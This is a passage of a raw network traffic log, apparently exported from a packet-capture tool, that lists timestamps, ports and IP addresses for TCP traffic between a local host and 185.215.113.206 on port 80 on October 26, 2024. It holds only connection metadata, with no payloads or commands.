Oct 26, 2024 05:55:02.390064001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390115023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390116930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390116930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390117884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390147924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390151978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390182972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390199900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390223980 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390278101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390320063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390407085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390439034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390449047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390477896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390492916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390535116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390543938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390578032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390588999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390610933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390623093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390651941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390651941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390686035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390692949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390724897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390829086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390862942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.390872002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.390902042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.391006947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.391048908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.391057968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.391091108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.391100883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.391124964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.391133070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.391165972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.391266108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.391299963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.391308069 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.391341925 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.463505983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.463536024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.463773012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.504982948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.505131006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546448946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546504974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546509027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546539068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546550035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546575069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546581984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546602964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546616077 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546638966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546644926 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546673059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546688080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546710968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546736956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546777010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546787024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546821117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546837091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546859980 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546901941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546932936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.546946049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.546972036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547035933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547079086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547100067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547151089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547154903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547188997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547195911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547230005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547240973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547281027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547393084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547441006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547487974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547517061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547528982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547558069 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547579050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547612906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547620058 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547646999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547653913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547681093 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.547683954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.547722101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.620542049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.620613098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.620615959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.620649099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.620660067 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.620682955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.620690107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.620718002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.620723963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.620752096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.620759010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.620791912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.672574997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.672631979 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703449011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703507900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703516006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703573942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703582048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703619003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703623056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703653097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703664064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703687906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703704119 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703731060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703771114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703799963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703808069 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703845024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703850985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703886032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703896046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703922033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.703926086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.703968048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704041004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704083920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704124928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704158068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704166889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704193115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704202890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704236984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704246044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704277992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704291105 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704319000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704370022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704433918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704468012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704476118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704503059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704521894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704538107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704543114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704577923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704734087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704771042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704780102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704804897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.704813957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.704844952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.736054897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.736102104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.736119986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.736160040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.736196041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.736196041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.736196041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.736238956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.736242056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.736279964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.817482948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:02.860342979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.860495090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.860846996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.860903978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.861007929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.861066103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.861373901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.861422062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.861712933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.861763954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.862345934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.862404108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.862719059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.862750053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.862763882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.862790108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.863976955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864058018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864270926 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864300013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864321947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864343882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864356995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864398956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864408970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864442110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864458084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864480972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864516973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864552021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864558935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864584923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864590883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864619017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864625931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864653111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864660978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864686012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864696026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864720106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864742994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864753962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864764929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864787102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864794970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864820957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864825010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864855051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864861012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864891052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864897966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864923954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864931107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864957094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864964962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.864989042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:02.864995956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:02.865036964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017298937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017364979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017386913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017405033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017416954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017446995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017476082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017513037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017515898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017550945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017632961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017672062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017687082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017721891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017733097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017756939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017760038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017801046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017811060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017843008 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017867088 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017875910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017877102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017910004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017914057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017946005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017959118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.017981052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.017987967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018016100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018019915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018054008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018162966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018198967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018205881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018234015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018239021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018270016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018275023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018312931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018464088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018508911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018527985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018562078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018584013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018596888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018598080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018640041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018706083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018743038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018779993 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018814087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.018815994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.018853903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.173842907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.173885107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.173929930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.173929930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174053907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174083948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174105883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174130917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174230099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174283981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174287081 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174330950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174349070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174385071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174415112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174417973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174444914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174454927 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174462080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174498081 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174520969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174555063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174566984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174591064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174597979 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174633980 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174751997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174798965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174803019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174837112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174849987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174880981 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174902916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174938917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.174957037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.174981117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175003052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175050974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175055981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175091982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175097942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175133944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175184011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175220013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175229073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175254107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175262928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175295115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:03.175298929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:03.175338984 CEST	49745	80	192.168.2.4	185.215.113.206
